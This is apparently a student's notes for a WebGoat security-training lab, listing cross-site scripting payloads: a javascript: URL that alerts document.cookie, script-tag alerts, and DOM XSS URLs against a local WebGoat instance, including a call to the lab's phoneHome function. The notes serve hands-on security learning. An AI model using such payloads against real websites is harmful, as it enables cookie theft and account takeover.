Lab 17 Commands:

javascript:alert(document.cookie);

<script>alert('my javascript here')</script>

start.mvc#test/

http://localhost:9090/WebGoat/start.mvc#test/<script>alert('DOM XSS works')<%2Fscript>

http://localhost:8080/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome();<%2Fscript>

<script>webgoat.customjs.phoneHome()</script>